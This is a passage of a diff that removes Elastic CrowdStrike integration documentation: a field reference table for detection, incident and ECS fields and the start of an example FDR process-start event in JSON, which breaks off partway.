-| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword |
-| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword |
-| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword |
-| crowdstrike.event.IncidentType | Incident Type | keyword |
-| crowdstrike.event.Ipv | Protocol for network request. | keyword |
-| crowdstrike.event.IsClipboard |  | boolean |
-| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date |
-| crowdstrike.event.ItemType | Type of raw intelligence. | keyword |
-| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword |
-| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword |
-| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long |
-| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword |
-| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested |
-| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword |
-| crowdstrike.event.LocalIPv6 |  | ip |
-| crowdstrike.event.LogonDomain |  | keyword |
-| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword |
-| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword |
-| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword |
-| crowdstrike.event.MatchCount | Number of firewall rule matches. | long |
-| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long |
-| crowdstrike.event.MatchedClassification.ID |  | keyword |
-| crowdstrike.event.MatchedClassification.Name |  | keyword |
-| crowdstrike.event.MitreAttack.PatternID |  | keyword |
-| crowdstrike.event.MitreAttack.Tactic |  | keyword |
-| crowdstrike.event.MitreAttack.TacticID |  | keyword |
-| crowdstrike.event.MitreAttack.Technique |  | keyword |
-| crowdstrike.event.MitreAttack.TechniqueID |  | keyword |
-| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested |
-| crowdstrike.event.MobileAppsDetails.AndroidAppLabel |  | keyword |
-| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName |  | keyword |
-| crowdstrike.event.MobileAppsDetails.AppIdentifier |  | keyword |
-| crowdstrike.event.MobileAppsDetails.AppInstallerInformation |  | keyword |
-| crowdstrike.event.MobileAppsDetails.DexFileHashes |  | keyword |
-| crowdstrike.event.MobileAppsDetails.ImageFileName |  | keyword |
-| crowdstrike.event.MobileAppsDetails.IsBeingDebugged |  | keyword |
-| crowdstrike.event.MobileAppsDetails.IsContainerized |  | keyword |
-| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested |
-| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested |
-| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date |
-| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested |
-| crowdstrike.event.Name |  | keyword |
-| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested |
-| crowdstrike.event.NetworkAccesses.AccessTimestamp |  | keyword |
-| crowdstrike.event.NetworkAccesses.AccessType |  | keyword |
-| crowdstrike.event.NetworkAccesses.ConnectionDirection |  | keyword |
-| crowdstrike.event.NetworkAccesses.IsIPV6 |  | keyword |
-| crowdstrike.event.NetworkAccesses.LocalAddress |  | keyword |
-| crowdstrike.event.NetworkAccesses.LocalPort |  | keyword |
-| crowdstrike.event.NetworkAccesses.Protocol |  | keyword |
-| crowdstrike.event.NetworkAccesses.RemoteAddress |  | keyword |
-| crowdstrike.event.NetworkAccesses.RemotePort |  | keyword |
-| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword |
-| crowdstrike.event.NotificationId | ID of the generated notification. | keyword |
-| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long |
-| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long |
-| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword |
-| crowdstrike.event.Objective | Method of detection. | keyword |
-| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested |
-| crowdstrike.event.OperationName | Event subtype. | keyword |
-| crowdstrike.event.OriginWebLocations |  | flattened |
-| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword |
-| crowdstrike.event.ParentImageFilePath |  | keyword |
-| crowdstrike.event.ParentProcessId |  | long |
-| crowdstrike.event.PatternDispositionDescription |  | keyword |
-| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.Detect |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.InddetMask |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.Indicator |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillActionFailed |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillParent |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillProcess |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillSubProcess |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.OperationBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.PolicyDisabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.ProcessBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.QuarantineFile |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.QuarantineMachine |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.Rooting |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.SensorOnly |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.SuspendParent |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.SuspendProcess |  | boolean |
-| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer |
-| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword |
-| crowdstrike.event.PlatformId |  | keyword |
-| crowdstrike.event.PlatformName |  | keyword |
-| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword |
-| crowdstrike.event.PolicyId | The ID of the associated Policy. | long |
-| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword |
-| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date |
-| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword |
-| crowdstrike.event.ProcessId |  | long |
-| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword |
-| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword |
-| crowdstrike.event.ReferrerUrl |  | keyword |
-| crowdstrike.event.Region |  | keyword |
-| crowdstrike.event.RelatedClassifications.ID |  | keyword |
-| crowdstrike.event.RelatedClassifications.Name |  | keyword |
-| crowdstrike.event.ReportFileReference |  | keyword |
-| crowdstrike.event.ReportID |  | keyword |
-| crowdstrike.event.ReportName |  | keyword |
-| crowdstrike.event.ReportType |  | keyword |
-| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened |
-| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword |
-| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword |
-| crowdstrike.event.ResourceName | Resource name if any. | keyword |
-| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword |
-| crowdstrike.event.ResponseAction |  | keyword |
-| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested |
-| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword |
-| crowdstrike.event.RuleAction | Firewall rule action. | keyword |
-| crowdstrike.event.RuleId |  | keyword |
-| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword |
-| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword |
-| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword |
-| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword |
-| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword |
-| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword |
-| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword |
-| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword |
-| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword |
-| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword |
-| crowdstrike.event.ScanResults | Array of scan results. | nested |
-| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword |
-| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword |
-| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword |
-| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword |
-| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword |
-| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword |
-| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword |
-| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer |
-| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword |
-| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword |
-| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword |
-| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword |
-| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword |
-| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword |
-| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword |
-| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword |
-| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword |
-| crowdstrike.event.State | Identity-based detection or incident status. | keyword |
-| crowdstrike.event.Status | CrowdStrike status. | keyword |
-| crowdstrike.event.StatusMessage |  | keyword |
-| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean |
-| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword |
-| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested |
-| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested |
-| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword |
-| crowdstrike.event.TargetAccountName | Target user name. | keyword |
-| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword |
-| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword |
-| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword |
-| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword |
-| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword |
-| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword |
-| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword |
-| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date |
-| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested |
-| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword |
-| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
-| crowdstrike.event.UserDepartment |  | keyword |
-| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword |
-| crowdstrike.event.UserMapped |  | boolean |
-| crowdstrike.event.UserName |  | keyword |
-| crowdstrike.event.UserNotified |  | boolean |
-| crowdstrike.event.UserTitle |  | keyword |
-| crowdstrike.event.UserUUID |  | keyword |
-| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword |
-| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword |
-| crowdstrike.metadata.customerIDString | Customer identifier | keyword |
-| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword |
-| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer |
-| crowdstrike.metadata.version | Schema version | keyword |
-| data_stream.dataset | Data stream dataset name. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| destination.as.organization.name | Organization name. | keyword |
-| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
-| destination.geo.city_name | City name. | keyword |
-| destination.geo.continent_name | Name of the continent. | keyword |
-| destination.geo.country_iso_code | Country ISO code. | keyword |
-| destination.geo.country_name | Country name. | keyword |
-| destination.geo.location | Longitude and latitude. | geo_point |
-| destination.geo.region_iso_code | Region ISO code. | keyword |
-| destination.geo.region_name | Region name. | keyword |
-| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
-| destination.port | Port of the destination. | long |
-| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
-| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword |
-| error.message | Error message. | match_only_text |
-| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
-| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
-| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword |
-| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
-| event.dataset | Event dataset | constant_keyword |
-| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date |
-| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred.  It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date |
-| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
-| event.module | Event module | constant_keyword |
-| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
-| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
-| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long |
-| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date |
-| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
-| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword |
-| file.hash.md5 | MD5 hash. | keyword |
-| file.hash.sha1 | SHA1 hash. | keyword |
-| file.hash.sha256 | SHA256 hash. | keyword |
-| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
-| file.path.text | Multi-field of `file.path`. | match_only_text |
-| host.containerized | If the host is a container. | boolean |
-| host.os.build | OS build information. | keyword |
-| host.os.codename | OS codename, if any. | keyword |
-| input.type | Type of Filebeat input. | keyword |
-| log.flags | Flags for the log file. | keyword |
-| log.offset | Offset of the entry in the log file. | long |
-| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text |
-| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
-| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword |
-| observer.product | The product name of the observer. | keyword |
-| observer.vendor | Vendor name of the observer. | keyword |
-| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
-| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
-| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
-| process.end | The time the process ended. | date |
-| process.executable | Absolute path to the process executable. | keyword |
-| process.executable.text | Multi-field of `process.executable`. | match_only_text |
-| process.name | Process name. Sometimes called program name or similar. | keyword |
-| process.name.text | Multi-field of `process.name`. | match_only_text |
-| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
-| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
-| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text |
-| process.parent.executable | Absolute path to the process executable. | keyword |
-| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text |
-| process.parent.pid | Process id. | long |
-| process.pid | Process id. | long |
-| process.start | The time the process started. | date |
-| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
-| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
-| related.ip | All of the IPs seen on your event. | ip |
-| related.user | All the user names or other user identifiers seen on the event. | keyword |
-| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword |
-| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword |
-| rule.description | The description of the rule generating the event. | keyword |
-| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword |
-| rule.name | The name of the rule or signature generating the event. | keyword |
-| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword |
-| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword |
-| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| source.as.organization.name | Organization name. | keyword |
-| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
-| source.geo.city_name | City name. | keyword |
-| source.geo.continent_name | Name of the continent. | keyword |
-| source.geo.country_iso_code | Country ISO code. | keyword |
-| source.geo.country_name | Country name. | keyword |
-| source.geo.location | Longitude and latitude. | geo_point |
-| source.geo.region_iso_code | Region ISO code. | keyword |
-| source.geo.region_name | Region name. | keyword |
-| source.ip | IP address of the source (IPv4 or IPv6). | ip |
-| source.port | Port of the source. | long |
-| tags | List of keywords used to tag each event. | keyword |
-| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
-| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
-| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword |
-| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
-| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
-| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text |
-| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
-| user.email | User email address. | keyword |
-| user.id | Unique identifier of the user. | keyword |
-| user.name | Short name or login of the user. | keyword |
-| user.name.text | Multi-field of `user.name`. | match_only_text |
-
-
-### FDR
-
-This is the `fdr` dataset.
-
-#### Example
-
-An example event for `fdr` looks as following:
-
-```json
-{
-    "@timestamp": "2020-10-01T09:58:32.519Z",
-    "agent": {
-        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
-        "name": "elastic-agent-30302",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "aws": {
-        "s3": {
-            "bucket": {
-                "name": "elastic-package-crowdstrike-fdr-30445"
-            },
-            "object": {
-                "key": "data"
-            }
-        }
-    },
-    "crowdstrike": {
-        "AuthenticationId": "3783389",
-        "ConfigStateHash": "3998263252",
-        "EffectiveTransmissionClass": "3",
-        "Entitlements": "15",
-        "ImageSubsystem": "2",
-        "IntegrityLevel": "4096",
-        "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
-        "ParentAuthenticationId": "3783389",
-        "ProcessCreateFlags": "525332",
-        "ProcessParameterFlags": "16385",
-        "ProcessSxsFlags": "1600",
-        "RpcClientProcessId": "2439558094566",
-        "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-        "SessionId": "1",
-        "SourceProcessId": "2439558094566",
-        "SourceThreadId": "77538684027214",
-        "Tags": [
-            "41",
-            "12094627905582",
-            "12094627906234"
-        ],
-        "TokenType": "2",
-        "WindowFlags": "128",
-        "cid": "ffffffff30a3407dae27d0503611022d",
-        "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
-        "info": {
-            "host": {
-                "AgentLoadFlags": "1",
-                "AgentLocalTime": "1697775225",
-                "AgentTimeOffset": "15889.017",
-                "AgentVersion": "7.01.13922.0",
-                "BiosManufacturer": "Iris",
-                "BiosVersion": "vG17V.21040423/z64",
-                "ChassisType": "Other",
-                "City": "Chicago",
-                "ConfigBuild": "1007.3.0017312.1",
-                "ConfigIDBuild": "13922",
-                "Continent": "North America",
-                "Country": "United States of America",
-                "FalconGroupingTags": "'FalconGroupingTags/AMERICA'",
-                "FirstSeen": "1628678052.0",
-                "HostHiddenStatus": "Visible",
-                "MachineDomain": "groot.org",
-                "OU": "Servers;America;Offices",
-                "PointerSize": "8",
-                "ProductType": "3.0",
-                "ServicePackMajor": "0",
-                "SiteName": "BCL",
-                "SystemManufacturer": "Iris",
-                "SystemProductName": "IrOS",
-                "Time": "1697992719.22",
-                "Timezone": "America/Chicago",
-                "Version": "Windows Server 2021",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "event_platform": "Win"
-            },
-            "user": {
-                "AccountType": "Domain User",
-                "LastLoggedOnHost": "COMPUTER1",
-                "LocalAdminAccess": "No",
-                "LogonInfo": "Domain User Logon",
-                "LogonTime": "1702546155.197",
-                "LogonType": "Interactive",
-                "PasswordLastSet": "1699971198.062",
-                "User": "DOMAIN\\BRADLEYA",
-                "UserIsAdmin": "0",
-                "UserLogonFlags_decimal": "0",
-                "_time": "1702546168.576",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "event_platform": "Win",
-                "monthsincereset": "1.0"
-            }
-        },
-        "name": "ProcessRollup2V18"
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.fdr",
-        "namespace": "77613",
-        "type": "logs"
-    },
-    "device": {
-        "id": "ffffffff655344736aca58d17fb570f0"
-    },
-    "elastic_agent": {
-        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
-        "snapshot": false,
-        "version": "8.18.0"
-    },
-    "event": {
-        "action": "ProcessRollup2",
-        "agent_id_status": "verified",
-        "category": [
-            "process"
-        ],
-        "created": "2020-10-01T09:58:32.519Z",
-        "dataset": "crowdstrike.fdr",
-        "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
-        "ingested": "2025-08-27T05:55:29Z",
-        "kind": "event",
-        "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
-        "outcome": "success",
-        "type": [
-            "start"
-        ]
-    },
-    "host": {
-        "ip": [
-            "16.15.12.10"
-        ],
-        "name": "FEVWSN1-234",
-        "os": {
-            "type": "windows"
-        }
-    },
-    "input": {
-        "type": "aws-s3"
-    },
-    "message": "ProcessRollup2",
-    "observer": {
-        "address": [
-            "67.43.156.14"
-        ],
-        "geo": {
-            "continent_name": "Asia",
-            "country_iso_code": "BT",
-            "country_name": "Bhutan",
-            "location": {
-                "lat": 27.5,
-                "lon": 90.5
-            }
-        },
-        "ip": [
-            "67.43.156.14"
-        ],
-        "serial_number": "ffffffff655344736aca58d17fb570f0",
-        "version": "1007.3.0012309.1"
-    },
-    "process": {
-        "Ext": {
-            "token": {
-                "integrity_level_name": "LOW"
-            }
-        },
-        "args": [
-            "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
-            "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
-        ],
-        "args_count": 2,
